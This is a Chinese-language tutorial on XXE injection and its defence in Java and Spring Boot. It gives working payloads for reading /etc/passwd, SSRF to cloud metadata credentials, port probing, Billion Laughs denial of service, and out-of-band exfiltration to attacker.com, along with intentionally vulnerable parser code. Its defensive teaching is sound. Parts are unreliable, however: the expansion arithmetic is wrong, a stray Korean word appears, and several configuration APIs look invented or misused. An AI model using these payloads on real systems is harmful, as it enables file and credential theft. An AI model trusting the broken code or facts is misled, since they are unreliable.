XXE(XML外部实体注入)
2019年,某大型社交平台的 API 接口被发现存在 XXE 漏洞。攻击者通过上传恶意构造的 XML 文件,可以读取服务器上的任意文件,包括配置文件、密钥、甚至用户数据。
但 XXE 漏洞的影响远不止文件读取——它可以被用来进行服务器端请求伪造(SSRF)、端口扫描、甚至发起拒绝服务攻击。这个诞生于 XML 1.0 标准的「遗产」漏洞,至今仍然是 Web 应用安全的重大威胁之一。
一、XXE 的原理
1.1 XML 外部实体
XML 允许定义「实体」来引用数据。外部实体允许 XML 文档引用外部资源:
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
在这个例子中:
DOCTYPE 声明定义了文档类型
ENTITY 定义了一个实体 xxe
SYSTEM 表示从系统资源获取值
&xxe; 在文档中使用该实体
1.2 XXE 的本质
XXE 的本质是:应用程序在解析 XML 时,对外部实体的引用没有进行安全限制,导致攻击者可以:
- 读取服务器本地文件
- 执行 HTTP 请求(SSRF)
- 扫描内部网络端口
- 触发拒绝服务
flowchart TD
A[攻击者] -->|构造恶意 XML| B[Web 服务器]
B -->|解析 XML| C[XML 解析器]
C --> D{外部实体类型}
D -->|file://| E[读取本地文件]
D -->|http://| F[发起 HTTP 请求]
D -->|ftp://| G[FTP 连接]
D -->|dict://| H[端口扫描]
style E fill:#ffcccc
style F fill:#ffcccc
二、XXE 的危害
2.1 读取本地文件
最常见的 XXE 攻击目标是读取服务器上的敏感文件:
读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
2.2 端口扫描
通过外部实体进行内部网络探测:
端口扫描
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<foo>&xxe;</foo>
2.3 SSRF 攻击
利用 XXE 向内部服务发起请求:
访问
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
2.4 拒绝服务攻击
Billion Laughs 攻击:
Billion
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
这个实体会被指数级扩展:
lol = "lol"
lol2 = 10 × lol = 100 个字符
lol3 = 10 × lol2 = 1000 个字符
如果攻击者使用更大的倍数,可以消耗所有服务器内存导致 DoS。
三、XXE 攻击类型
3.1 带内 XXE(In-band XXE)
攻击者可以直接从响应中获取数据:
带内攻击
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<result>&xxe;</result>
服务器响应中直接包含 /etc/passwd 的内容。
3.2 带外 XXE(Out-of-band XXE)
攻击者通过外部通道获取数据,服务器响应中不包含数据:
带外攻击
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%eval;
%exfil;
]>
服务器读取 /etc/passwd,然后将内容作为 URL 参数发送到 attacker.com。
3.3 参数实体(Parameter Entity)
在 DTD 内部使用 % 定义的实体:
参数实体攻击
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%eval;
%exfil;
]>
<foo></foo>
四、Java 中的 XXE 漏洞
4.1 危险配置
Java 中多个 XML 解析器默认支持外部实体:
危险的
// SAXParserFactory - 危险配置
SAXParserFactory factory = SAXParserFactory.newInstance();
// 默认: 支持外部实体!
SAXParser parser = factory.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), handler);
// 危险:可以直接读取文件
危险的
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
// 默认: 支持外部实体!
Document doc = builder.parse(new InputSource(new StringReader(xml)));
危险的
XMLInputFactory factory = XMLInputFactory.newInstance();
// 默认: 支持外部实体!
XMLStreamReader reader = factory.createXMLStreamReader(
new StringReader(xml));
4.2 漏洞代码示例
典型的
@RestController
public class XMLController {
/**
* 危险的 XML 解析
*/
@PostMapping("/parse/xml")
public ResponseEntity<String> parseXml(@RequestBody String xml) {
try {
// 危险:未禁用外部实体
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(
new InputSource(new StringReader(xml)));
return ResponseEntity.ok("Parsed successfully");
} catch (Exception e) {
return ResponseEntity.badRequest().body(e.getMessage());
}
}
/**
* SAX 解析的 XXE
*/
@PostMapping("/parse/sax")
public ResponseEntity<String> parseSax(@RequestBody String xml) {
try {
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
// 危险:未配置安全的 XMLReader
parser.parse(new InputSource(new StringReader(xml)),
new DefaultHandler());
return ResponseEntity.ok("Parsed");
} catch (Exception e) {
return ResponseEntity.badRequest().body(e.getMessage());
}
}
}
五、Spring Boot 防护
5.1 安全配置
安全的
@Configuration
public class XmlSecurityConfig {
/**
* 安全的 DocumentBuilderFactory
*/
@Bean
public DocumentBuilderFactory secureDocumentBuilderFactory() {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
try {
// 禁用 DOCTYPE 声明
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl",
true);
// 禁用外部实体
factory.setFeature(
"http://xml.org/sax/features/external-general-entities",
false);
factory.setFeature(
"http://xml.org/sax/features/external-parameter-entities",
false);
// 禁用 XInclude
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
// 额外的安全设置
factory.setFeature(
"http://javax.xml.XMLConstants/feature/secure-processing",
true);
} catch (Exception e) {
throw new RuntimeException("Failed to configure XML security", e);
}
return factory;
}
/**
* 安全的 SAXParserFactory
*/
@Bean
public SAXParserFactory secureSaxParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
try {
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl",
true);
factory.setFeature(
"http://xml.org/sax/features/external-general-entities",
false);
factory.setFeature(
"http://xml.org/sax/features/external-parameter-entities",
false);
factory.setXIncludeAware(false);
factory.setNamespaceAware(true);
} catch (Exception e) {
throw new RuntimeException("Failed to configure SAX security", e);
}
return factory;
}
/**
* 安全的 XMLInputFactory(用于 StAX)
*/
@Bean
public XMLInputFactory secureXmlInputFactory() {
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
factory.setXMLResolver(null); // 禁用外部解析
return factory;
}
}
5.2 XML 解析工具类
安全的
@Component
public class SafeXmlParser {
private final DocumentBuilderFactory dbf;
private final SAXParserFactory spf;
private final XMLInputFactory xif;
public SafeXmlParser(
DocumentBuilderFactory dbf,
SAXParserFactory spf,
XMLInputFactory xif) {
this.dbf = dbf;
this.spf = spf;
this.xif = xif;
}
/**
* 解析 XML 字符串为 Document
*/
public Document parseDocument(String xml) throws ParserConfigurationException,
SAXException, IOException {
// 额外的运行时检查
if (containsXXEPatterns(xml)) {
throw new SecurityException("Potential XXE detected");
}
DocumentBuilder builder = dbf.newDocumentBuilder();
return builder.parse(new InputSource(new StringReader(xml)));
}
/**
* SAX 方式解析
*/
public void parseWithSAX(String xml, DefaultHandler handler)
throws ParserConfigurationException, SAXException, IOException {
if (containsXXEPatterns(xml)) {
throw new SecurityException("Potential XXE detected");
}
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), handler);
}
/**
* 基本的 XXE 模式检测(不能完全依赖这个)
*/
private boolean containsXXEPatterns(String xml) {
String lower = xml.toLowerCase();
return lower.contains("doctype") ||
lower.contains("dtd") ||
lower.contains("entity") ||
lower.contains("system") ||
lower.contains("public");
}
/**
* 解析并验证
*/
public <T> T parseAndValidate(String xml, Class<T> clazz) {
// 仅解析,不处理外部实体
Document doc = parseDocument(xml);
// 这里可以进行验证逻辑
// ...
// 返回结果(需要根据业务实现)
return null;
}
}
5.3 使用注解处理 XML 请求
安全的
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void configureMessageConverters(
List<HttpMessageConverter<?>> converters) {
converters.add(0, createSecureXmlHttpMessageConverter());
}
private HttpMessageConverter<Object> createSecureXmlHttpMessageConverter() {
MappingJackson2XmlHttpMessageConverter converter =
new MappingJackson2XmlHttpMessageConverter();
// 配置 XML 解析器
JacksonXmlModule module = new JacksonXmlModule();
module.setXMLTextElementPropertyIndentFactor(2);
XmlMapper xmlMapper = new XmlMapper(module);
// 设置安全的 ObjectMapper
xmlMapper.getXMLMapper().setXMLTextElementPropertyIndentFactor(2);
converter.setObjectMapper(xmlMapper);
return converter;
}
}
5.4 Spring Boot XML 配置
application.yml
spring:
# 如果使用 JAXB
jackson:
xml:
enabled: true
# 自定义安全配置
xml:
security:
disallow-doctype: true
max-entity-expansion-limit: 1024
使用
@Component
public class XmlSecurityInitializer {
@PostConstruct
public void init() {
// 全局配置 System Property
System.setProperty(
"org.apache.xerces.xni.parser.XMLParserConfiguration",
"secure");
// 设置默认的 XML 解析器安全特性
System.setProperty(
"jdk.xml.entityExpansionLimit",
"1024");
}
}
六、检测与修复
6.1 XXE 检测清单
6.2 常见修复模式
修复对比
// 修复前
public Document parseXml(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new InputSource(new StringReader(xml)));
}
// 修复后
public Document parseXml(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 关键:禁用外部实体
factory.setFeature(
"http://xml.org/sax/features/external-general-entities",
false);
factory.setFeature(
"http://xml.org/sax/features/external-parameter-entities",
false);
factory.setFeature(
"http://apache.org/xml/features/nonvalidating/load-external-dtd",
false);
// 禁用 DTD
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl",
true);
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new InputSource(new StringReader(xml)));
}
6.3 使用 JSON 替代 XML
建议使用
@RestController
@RequestMapping("/api")
public class SafeApiController {
/**
* 建议使用 JSON 而非 XML
*/
@PostMapping("/process")
public ResponseEntity<ProcessResult> process(
@RequestBody ProcessRequest request) {
// JSON 解析不存在 XXE 风险
// Jackson 默认是安全的
return ResponseEntity.ok(processService.process(request));
}
/**
* 如果必须支持 XML,明确标记
*/
@PostMapping(value = "/process/xml",
consumes = MediaType.APPLICATION_XML_VALUE,
produces = MediaType.APPLICATION_XML_VALUE)
public ResponseEntity<String> processXml(
@RequestBody String xml) {
// 明确知道这里解析 XML,需要额外小心
return ResponseEntity.ok(
safeXmlParser.parseDocument(xml).toString());
}
}
七、真实案例
2019 年 Facebook XXE 漏洞
安全研究员 발견发现 Facebook 的 SDK 存在 XXE 漏洞。攻击者可以利用该漏洞读取服务器上的任意文件。
来源:The Register
Jenkins XXE 漏洞(CVE-2019-1003000)
Jenkins 插件管理界面在解析插件元数据时存在 XXE 漏洞。攻击者可以通过构造恶意插件元数据进行攻击。
来源:Jenkins Security Advisory
:::tip 关键洞察
XXE 防护的核心是禁用 XML 解析器的外部实体功能。Java 的 XML 解析器默认是支持外部实体的,需要手动禁用。最佳实践是:
- 尽量使用 JSON 而非 XML
- 如果必须使用 XML,使用安全的解析器配置
- 输入验证,但不要依赖白名单来防御 XXE
- 定期更新依赖,避免使用已知有漏洞的库
:::
思考题
问题 1:某公司使用 Apache POI 库处理 Excel 文件导入功能。Excel 文件(.xlsx)本质上是一个 ZIP 文件,包含 XML 格式的 sheet 数据。请分析这种情况下是否存在 XXE 风险,以及如何防护。
参考答案
XXE 风险分析:
风险点:
- XLSX 文件内部使用 XML 存储数据
- ZIP 文件中的 XML 可能包含 XXE 实体
- POI 在解析过程中会解压并解析这些 XML
攻击方式:
- 创建一个包含 XXE 实体的 XLSX 文件
- 在 xl/worksheets/sheet1.xml 中插入:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sheet>&xxe;</sheet>
- 上传文件,POI 解析时触发 XXE
防护方案:
方案 1:禁用 POI 的 XXE
public class SafeExcelProcessor {
public void processSafe(InputStream input) throws Exception {
// 在解析 Excel 之前设置安全的 XML 解析器
OPCPackage pkg = OPCPackage.open(input);
// POI 4.0+ 默认已经禁用 XXE
// 但对于旧版本,需要手动配置
// 检查版本
PackageProperties props = pkg.getPackageProperties();
// ...
}
}
方案 2:全局禁用 XML 外部实体
// 在应用启动时全局配置
static {
System.setProperty(
"javax.xml.parsers.DocumentBuilderFactory",
"com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl");
// 这会影响到整个 JVM,但可能与其他功能冲突
}
方案 3:沙箱隔离
- 将文件处理服务隔离到独立容器
- 限制文件处理服务的文件系统权限
- 监控异常的文件访问
最佳实践:
- 升级到 POI 4.0+(默认禁用 XXE)
- 使用
SAXMapper 而非 DOM 方式解析
- 定期更新 POI 版本
问题 2:某 REST API 接受 XML 格式的请求,但使用了 Spring 的 @RequestBody 注解。请分析这种场景下 XXE 防护的责任边界,以及开发团队和运维团队应该分别做什么。
参考答案
责任边界分析:
Spring MVC 的角色:
- Spring MVC 负责将请求体转换为 Java 对象
- 它内部使用 XML 解析器来解析 XML
- 如果配置不当,Spring 本身可能成为 XXE 的入口
开发团队的责任:
- 使用安全的数据绑定方式
// Spring Boot 2.x + Jackson
@RestController
public class XmlApiController {
// Jackson XML 默认禁用 XXE
// 但如果使用了原始 XML 解析,需要手动配置
}
- 如果使用 @RequestBody + XML
@PostMapping("/api")
public ResponseEntity<String> handleXml(
@RequestBody String xml) {
// 这里解析 XML 是开发者代码
// 开发者需要确保安全
}
- 正确的配置
@Configuration
public class XmlConfig {
@Bean
public Jaxb2RootHttpMessageConverter xmlConverter() {
return new Jaxb2RootHttpMessageConverter() {
@Override
protected void initXmlConverter(XMLStreamWriter xmlStreamWriter)
throws XMLStreamException {
super.initXmlConverter(xmlStreamWriter);
// 安全的 XML 配置
}
};
}
}
运维团队的责任:
-
监控和告警
- 监控异常的 XML 解析行为
- 监控来自单一来源的大量 XML 请求
-
WAF 配置
- 在 WAF 层检测 XXE 攻击特征
- 阻止包含 DOCTYPE、ENTITY 等关键字的请求
-
网络隔离
- 应用服务器不应有访问敏感文件系统的权限
- 使用最小权限原则
最佳实践:
-
优先使用 JSON
- JSON 不存在 XXE 风险
- 现代 REST API 越来越多地使用 JSON
-
如果必须使用 XML
- 使用最新的 Spring Boot 版本
- 明确了解数据绑定的 XML 解析器配置
- 进行 XXE 专项测试
-
纵深防御
- 应用层:安全的 XML 解析配置
- 网络层:WAF 检测
- 基础设施:最小权限、网络隔离